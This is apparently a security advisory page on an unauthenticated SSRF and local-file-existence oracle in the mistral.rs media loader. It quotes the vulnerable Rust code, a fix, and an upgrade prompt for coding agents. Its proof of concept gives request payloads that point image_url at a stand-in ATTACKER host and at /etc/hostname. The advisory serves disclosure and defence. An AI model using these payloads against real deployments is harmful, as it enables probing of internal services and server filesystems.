# GHSA-wfgq-w7cq-qj7j: mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url

> Unauthenticated attackers can trigger Server-Side Request Forgery and read arbitrary local files via image or audio URLs in mistral.rs deployments.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 10 Sep 2026

## What is GHSA-wfgq-w7cq-qj7j?

GHSA-wfgq-w7cq-qj7j is a server-side request forgery vulnerability in mistralrs-server-core, published on 10 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

### Summary
mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a `file://` URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI `image_url` / `audio_url` message content. The server is unauthenticated by default.

### Details
`parse_image_url` in `mistralrs-server-core/src/util.rs` (lines 45-88) resolves the request string and fetches/opens it:

```rust
let url = if let Ok(url) = url::Url::parse(url_unparsed) {
    url
} else if File::open(url_unparsed).await.is_ok() {            // a bare existing path (relative or absolute)
    url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...
} else { bail!(...) };

let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    reqwest::get(url.clone()).await ...                       // SSRF: no host/IP/allowlist check
} else if url.scheme() == "file" {
    File::open(path).await ... read                           // arbitrary local file read
} else if url.scheme() == "data" { ... base64 ... };
```

`reqwest::get` has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The `file` scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. `parse_audio_url` (line 91) is identical for `audio_url`.

The value reaches this unvalidated: `mistralrs-server-core/src/chat_completion.rs` calls `parse_image_url(&url_unparsed)` / `parse_audio_url(&url_unparsed)` on the chat message content, at request time.

For reference, vLLM gates outbound media domains (`allowed_media_domains`) and local paths (`allowed_local_media_path`); mistral.rs has neither.

### Suggested fix
Restrict request-supplied media to `http(s)` and `data:`; do not resolve bare strings to local files and do not honor the `file` scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching `http(s)`, resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.

### Proof of concept
On a default vision deployment, unauthenticated:

SSRF - the server fetches the attacker URL during request processing:

```
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}
```

An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.

Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):

existing file (opened and read, then fails to decode):

```
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"/etc/hostname"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

-> 500, response body message: "The image format could not be determined"
```

nonexistent path:

```
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"/nonexistent"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

-> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..."
```

The difference is structural: `parse_image_url` (util.rs:48) takes the file branch only when `File::open(url_unparsed)` succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in `image::load_from_memory` (util.rs:87). The error response carries `sanitize_error_message` (util.rs:210), which returns the root-cause message, so both reach the client verbatim.

### Impact
An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied `file://` URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.

Availability (CVSS A:L): `reqwest::get` (util.rs:61) uses the default client, which has no timeout, and `http_resp.bytes()` (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The `file` branch allocates `vec![0; metadata.len()]` (util.rs:73) before reading, so pointing at a large local file does the same.

## Which versions are affected by GHSA-wfgq-w7cq-qj7j?

2 open source packages ship an affected version, including mistralrs-server-core.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `mistralrs-server-core` | crates.io | All versions | 0.8.18 |
| `mistralrs-server-core` | crates.io | All versions | 0.8.18 |

## How do I fix GHSA-wfgq-w7cq-qj7j?

Upgrade mistralrs-server-core to 0.8.18 or later.

## Is GHSA-wfgq-w7cq-qj7j being exploited?

There is no known exploitation of GHSA-wfgq-w7cq-qj7j in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-wfgq-w7cq-qj7j and fix it if it is affected.

What it is: GHSA-wfgq-w7cq-qj7j is a server-side request forgery vulnerability in mistralrs-server-core, published on 10 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-wfgq-w7cq-qj7j in the wild and no public exploit code.

Affected packages and fixed versions:
- mistralrs-server-core (crates.io): affected all versions; fixed in 0.8.18
- mistralrs-server-core (crates.io): affected all versions; fixed in 0.8.18

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-wfgq-w7cq-qj7j/ (Markdown: https://insights.sbomify.com/GHSA-wfgq-w7cq-qj7j/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-wfgq-w7cq-qj7j

---
From sbomify Insights: https://insights.sbomify.com/GHSA-wfgq-w7cq-qj7j/
Summaries are generated and may contain mistakes; the official description above is the record.
